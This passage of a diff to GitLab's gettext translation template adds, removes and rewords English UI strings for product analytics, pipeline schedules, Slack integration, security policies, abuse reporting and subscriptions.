+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28654,13 +29006,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28711,6 +29057,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -29142,6 +29500,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29307,6 +29668,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29734,12 +30098,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29900,9 +30258,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -30049,12 +30404,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30586,7 +30935,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30601,6 +30950,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30613,6 +30965,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30640,6 +30995,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30658,6 +31019,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31612,9 +31976,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31672,6 +32033,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31699,7 +32063,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31714,9 +32081,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31828,6 +32192,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31840,27 +32207,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32515,6 +33083,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
+msgid "ProjectList|Explore"
+msgstr ""
+
+msgid "ProjectList|Starred"
+msgstr ""
+
+msgid "ProjectList|Topics"
+msgstr ""
+
+msgid "ProjectList|Yours"
+msgstr ""
+
msgid "ProjectOverview|Fork"
msgstr ""
@@ -32734,6 +33314,9 @@ msgstr ""
msgid "ProjectService|Trigger event when a wiki page is created or updated."
msgstr ""
+msgid "ProjectService|Trigger event when an incident is created."
+msgstr ""
+
msgid "ProjectService|Trigger event when an issue is created, updated, or closed."
msgstr ""
@@ -32809,9 +33392,6 @@ msgstr ""
msgid "ProjectSettings|Configure your infrastructure."
msgstr ""
-msgid "ProjectSettings|Configure your project resources and monitor their health."
-msgstr ""
-
msgid "ProjectSettings|Contact an admin to change this setting."
msgstr ""
@@ -32983,9 +33563,6 @@ msgstr ""
msgid "ProjectSettings|Only signed commits can be pushed to this repository."
msgstr ""
-msgid "ProjectSettings|Operations"
-msgstr ""
-
msgid "ProjectSettings|Override user notification preferences for all project members."
msgstr ""
@@ -33136,10 +33713,10 @@ msgstr ""
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
+msgid "ProjectSettings|Users can only push commits to this repository if the commit author name is consistent with their GitLab account name."
msgstr ""
-msgid "ProjectSettings|Users can only push commits to this repository if the committer name is consistent with their git config username."
+msgid "ProjectSettings|Users can only push commits to this repository if the committer email is one of their own verified emails."
msgstr ""
msgid "ProjectSettings|Users can request access"
@@ -33271,6 +33848,9 @@ msgstr ""
msgid "ProjectTemplates|Spring"
msgstr ""
+msgid "ProjectTemplates|TYPO3 Distribution"
+msgstr ""
+
msgid "ProjectTemplates|Tencent Serverless Framework/NextjsSSR"
msgstr ""
@@ -33895,6 +34475,24 @@ msgstr ""
msgid "ProtectedBranch|default"
msgstr ""
+msgid "ProtectedEnvironments|Allowed to deploy"
+msgstr ""
+
+msgid "ProtectedEnvironments|An error occurred while fetching information on the selected approvers."
+msgstr ""
+
+msgid "ProtectedEnvironments|Approval rules"
+msgstr ""
+
+msgid "ProtectedEnvironments|Number of approvals must be between 1 and 5"
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users are required to approve."
+msgstr ""
+
+msgid "ProtectedEnvironments|Set which groups, access levels or users that are allowed to deploy to this environment"
+msgstr ""
+
msgid "ProtectedEnvironment|%{environment_name} will be writable for developers. Are you sure?"
msgstr ""
@@ -33907,6 +34505,9 @@ msgstr ""
msgid "ProtectedEnvironment|Allowed to deploy to %{project} / %{environment}"
msgstr ""
+msgid "ProtectedEnvironment|Approvers"
+msgstr ""
+
msgid "ProtectedEnvironment|Environment"
msgstr ""
@@ -33943,6 +34544,9 @@ msgstr ""
msgid "ProtectedEnvironment|Select an environment"
msgstr ""
+msgid "ProtectedEnvironment|Select environment"
+msgstr ""
+
msgid "ProtectedEnvironment|Select groups"
msgstr ""
@@ -34677,6 +35281,9 @@ msgstr ""
msgid "Reload page"
msgstr ""
+msgid "Reload the page to try again."
+msgstr ""
+
msgid "Remediations"
msgstr ""
@@ -34944,9 +35551,6 @@ msgstr ""
msgid "Renew subscription"
msgstr ""
-msgid "Renews"
-msgstr ""
-
msgid "Reopen"
msgstr ""
@@ -35004,9 +35608,6 @@ msgstr ""
msgid "Replaces the clone URL root."
msgstr ""
-msgid "Replication"
-msgstr ""
-
msgid "Reply"
msgstr ""
@@ -35043,6 +35644,33 @@ msgstr ""
msgid "Report your license usage data to GitLab"
msgstr ""
+msgid "ReportAbuse|Something else."
+msgstr ""
+
+msgid "ReportAbuse|They're being offsensive or abusive."
+msgstr ""
+
+msgid "ReportAbuse|They're crypto mining."
+msgstr ""
+
+msgid "ReportAbuse|They're phising."
+msgstr ""
+
+msgid "ReportAbuse|They're posting malware."
+msgstr ""
+
+msgid "ReportAbuse|They're posting personal information or credentials."
+msgstr ""
+
+msgid "ReportAbuse|They're posting spam."
+msgstr ""
+
+msgid "ReportAbuse|They're violating a copyright or trademark."
+msgstr ""
+
+msgid "ReportAbuse|Why are you reporting this user?"
+msgstr ""
+
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
@@ -36017,7 +36645,7 @@ msgstr ""
msgid "Runners|Executor"
msgstr ""
-msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt CI/CD."
+msgid "Runners|Existing runners are not affected. To permit runner registration for all groups, enable this setting in the Admin Area in Settings &gt; CI/CD."
msgstr ""
msgid "Runners|Filter projects"
@@ -36394,7 +37022,7 @@ msgstr ""
msgid "Runners|Yes, start deleting stale runners"
msgstr ""
-msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared runner."
+msgid "Runners|You can set up a specific runner to be used by multiple projects but you cannot make this a shared or group runner."
msgstr ""
msgid "Runners|You have used %{quotaUsed} out of %{quotaLimit} of your shared Runners pipeline minutes."
@@ -36601,6 +37229,12 @@ msgstr ""
msgid "ScanExecutionPolicy|A pipeline is run"
msgstr ""
+msgid "ScanExecutionPolicy|Ex, tag-name-1, tag-name-2"
+msgstr ""
+
+msgid "ScanExecutionPolicy|If the field is empty, the runner will be automatically selected"
+msgstr ""
+
msgid "ScanExecutionPolicy|Scanner profile"
msgstr ""
@@ -36625,9 +37259,6 @@ msgstr ""
msgid "ScanExecutionPolicy|Select site profile"
msgstr ""
-msgid "ScanExecutionPolicy|Select tags (if any)"
-msgstr ""
-
msgid "ScanExecutionPolicy|Site profile"
msgstr ""
@@ -36643,6 +37274,9 @@ msgstr ""
msgid "ScanExecutionPolicy|in namespaces"
msgstr ""
+msgid "ScanResultPolicy|%{count} licenses"
+msgstr ""
+
msgid "ScanResultPolicy|%{ifLabelStart}if%{ifLabelEnd} %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
@@ -36652,12 +37286,36 @@ msgstr ""
msgid "ScanResultPolicy|%{thenLabelStart}Then%{thenLabelEnd} Require approval from %{approvalsRequired} of the following approvers:"
msgstr ""
+msgid "ScanResultPolicy|Newly Detected"
+msgstr ""
+
+msgid "ScanResultPolicy|Pre-existing"
+msgstr ""
+
msgid "ScanResultPolicy|add an approver"
msgstr ""
+msgid "ScanResultPolicy|except"
+msgstr ""
+
+msgid "ScanResultPolicy|finds any license %{matchType} %{licenseType} and is %{licenseStates} in an open merge request targeting %{branches}"
+msgstr ""
+
msgid "ScanResultPolicy|from %{scanners} find(s) more than %{vulnerabilitiesAllowed} %{severities} %{vulnerabilityStates} vulnerabilities in an open merge request targeting %{branches}"
msgstr ""
+msgid "ScanResultPolicy|license states"
+msgstr ""
+
+msgid "ScanResultPolicy|license type"
+msgstr ""
+
+msgid "ScanResultPolicy|matching"
+msgstr ""
+
+msgid "ScanResultPolicy|matching type"
+msgstr ""
+
msgid "ScanResultPolicy|scanners"
msgstr ""
@@ -36850,9 +37508,6 @@ msgstr ""
msgid "Search projects"
msgstr ""
-msgid "Search projects..."
-msgstr ""
-
msgid "Search protected branches"
msgstr ""
@@ -37242,6 +37897,15 @@ msgstr ""
msgid "SecurityOrchestration|%{branches} branch"
msgstr ""
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd}"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} and %{lastTag} tags"
+msgstr ""
+
+msgid "SecurityOrchestration|%{scannerStart}%{scanner}%{scannerEnd} on runners with the %{tags} tag"
+msgstr ""
+
msgid "SecurityOrchestration|%{scanners}"
msgstr ""
@@ -37263,6 +37927,9 @@ msgstr ""
msgid "SecurityOrchestration|Add action"
msgstr ""
+msgid "SecurityOrchestration|Add new approver"
+msgstr ""
+
msgid "SecurityOrchestration|Add rule"
msgstr ""
@@ -37542,7 +38209,7 @@ msgstr ""
msgid "SecurityOrchestration|Summary"
msgstr ""
-msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all branches to ensure the values are accurate before updating this policy."
+msgid "SecurityOrchestration|The following branches do not exist on this development project: %{branches}. Please review all protected branches to ensure the values are accurate before updating this policy."
msgstr ""
msgid "SecurityOrchestration|There was a problem creating the new security policy"
@@ -37605,10 +38272,10 @@ msgstr ""
msgid "SecurityOrchestration|a"
msgstr ""
-msgid "SecurityOrchestration|all branches"
+msgid "SecurityOrchestration|all namespaces"
msgstr ""
-msgid "SecurityOrchestration|all namespaces"
+msgid "SecurityOrchestration|all protected branches"
msgstr ""
msgid "SecurityOrchestration|an"
@@ -37623,6 +38290,9 @@ msgstr ""
msgid "SecurityOrchestration|group level branch"
msgstr ""
+msgid "SecurityOrchestration|or from: %{approverType}%{approvers}"
+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr ""
@@ -37692,9 +38362,6 @@ msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr ""
-
msgid "SecurityReports|Change status"
msgstr ""
@@ -37914,9 +38581,6 @@ msgstr ""
msgid "SecurityReports|Submit vulnerability"
msgstr ""
-msgid "SecurityReports|Take survey"
-msgstr ""
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
@@ -37944,6 +38608,9 @@ msgstr ""
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr ""
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr ""
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr ""
@@ -37974,9 +38641,6 @@ msgstr ""
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr ""
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr ""
-
msgid "SecurityReports|Vulnerability Report"
msgstr ""
@@ -37995,9 +38659,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr ""
-
msgid "SecurityReports|scanned resources"
msgstr ""
@@ -38779,6 +39440,9 @@ msgstr ""
msgid "Show file contents"
msgstr ""
+msgid "Show filters"
+msgstr ""
+
msgid "Show group milestones"
msgstr ""
@@ -38996,9 +39660,6 @@ msgstr ""
msgid "Sign-in count:"
msgstr ""
-msgid "Sign-in failed because %{error}."
-msgstr ""
-
msgid "Sign-in page"
msgstr ""
@@ -39125,9 +39786,6 @@ msgstr ""
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr ""
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr ""
-
msgid "SlackIntegration|Project alias"
msgstr ""
@@ -39158,6 +39816,12 @@ msgstr ""
msgid "SlackIntegration|Update to the latest version"
msgstr ""
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr ""
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr ""
+
msgid "SlackIntegration|Verification token"
msgstr ""
@@ -39185,10 +39849,10 @@ msgstr ""
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr ""
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
msgstr ""
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
msgstr ""
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
@@ -39200,22 +39864,16 @@ msgstr ""
msgid "Slack|Connect your GitLab account"
msgstr ""
-msgid "Slack|Create a new issue"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
msgstr ""
-msgid "Slack|Create new issues from Slack: %{command}"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
msgstr ""
-msgid "Slack|Run a CI/CD job"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
msgstr ""
-msgid "Slack|See a list of available commands: %{command})"
-msgstr ""
-
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr ""
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
+msgid "Slack|To start using slash commands, connect your GitLab account."
msgstr ""
msgid "Slice multiplier"
@@ -39713,6 +40371,12 @@ msgstr ""
msgid "Source branch"
msgstr ""
+msgid "Source branch does not exist"
+msgstr ""
+
+msgid "Source branch is protected from force push"
+msgstr ""
+
msgid "Source branch will be deleted."
msgstr ""
@@ -39908,15 +40572,15 @@ msgstr ""
msgid "Start a Free Ultimate Trial"
msgstr ""
-msgid "Start a new discussion…"
-msgstr ""
-
msgid "Start a new merge request with these changes"
msgstr ""
msgid "Start a review"
msgstr ""
+msgid "Start another thread"
+msgstr ""
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -40406,18 +41070,36 @@ msgstr ""
msgid "Subscriptions"
msgstr ""
+msgid "Subscriptions|Activation date"
+msgstr ""
+
msgid "Subscriptions|Chat with sales"
msgstr ""
msgid "Subscriptions|Close"
msgstr ""
+msgid "Subscriptions|End date"
+msgstr ""
+
+msgid "Subscriptions|End date:"
+msgstr ""
+
+msgid "Subscriptions|Last sync"
+msgstr ""
+
+msgid "Subscriptions|None"
+msgstr ""
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr ""
msgid "Subscriptions|Start a free trial"
msgstr ""
+msgid "Subscriptions|Start date"
+msgstr ""
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr ""
@@ -40634,6 +41316,9 @@ msgstr ""
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr ""
+msgid "SuperSonics|Add activation code"
+msgstr ""
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr ""
@@ -40652,7 +41337,7 @@ msgstr ""
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Customers Portal"
msgstr ""
msgid "SuperSonics|Export license usage file"
@@ -40673,9 +41358,6 @@ msgstr ""
msgid "SuperSonics|Licensed to"
msgstr ""
-msgid "SuperSonics|Manage"
-msgstr ""
-
msgid "SuperSonics|Maximum users"
msgstr ""
@@ -41166,15 +41848,6 @@ msgstr ""
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr ""
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr ""
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr ""
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr ""
-
msgid "Terminal"
msgstr ""
@@ -41205,6 +41878,21 @@ msgstr ""
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr ""
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr ""
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr ""
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr ""
+
+msgid "TerraformLimits|Terraform limits"
+msgstr ""
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr ""
+
msgid "Terraform|%{name} successfully removed"
msgstr ""
@@ -41479,9 +42167,6 @@ msgstr ""
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr ""
-msgid "TestReports|Tests"
-msgstr ""
-
msgid "TestReports|There are no test cases to display."
msgstr ""
@@ -41739,6 +42424,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "The following personal access tokens have expired:"
+msgstr ""
+
msgid "The fork relationship has been removed."
msgstr ""
@@ -41890,6 +42578,9 @@ msgstr ""
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr ""
+msgid "The new Web IDE"
+msgstr ""
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr ""
@@ -42094,6 +42785,9 @@ msgstr ""
msgid "There are no abuse reports!"
msgstr ""
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr ""
+
msgid "There are no archived requirements"
msgstr ""
@@ -42442,6 +43136,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -42544,21 +43241,27 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr ""
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
msgid "This commit was signed with a different user's verified signature."
msgstr ""
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr ""
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
+msgid "This commit was signed with an unverified signature."
+msgstr ""
+
+msgid "This commit was signed with multiple signatures."
+msgstr ""
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -42781,6 +43484,9 @@ msgstr ""
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr ""
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr ""
+
msgid "This job has been canceled"
msgstr ""
@@ -42856,9 +43562,6 @@ msgstr ""
msgid "This job requires a manual action"
msgstr ""
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr ""
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr ""
@@ -43063,7 +43766,7 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
msgstr ""
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
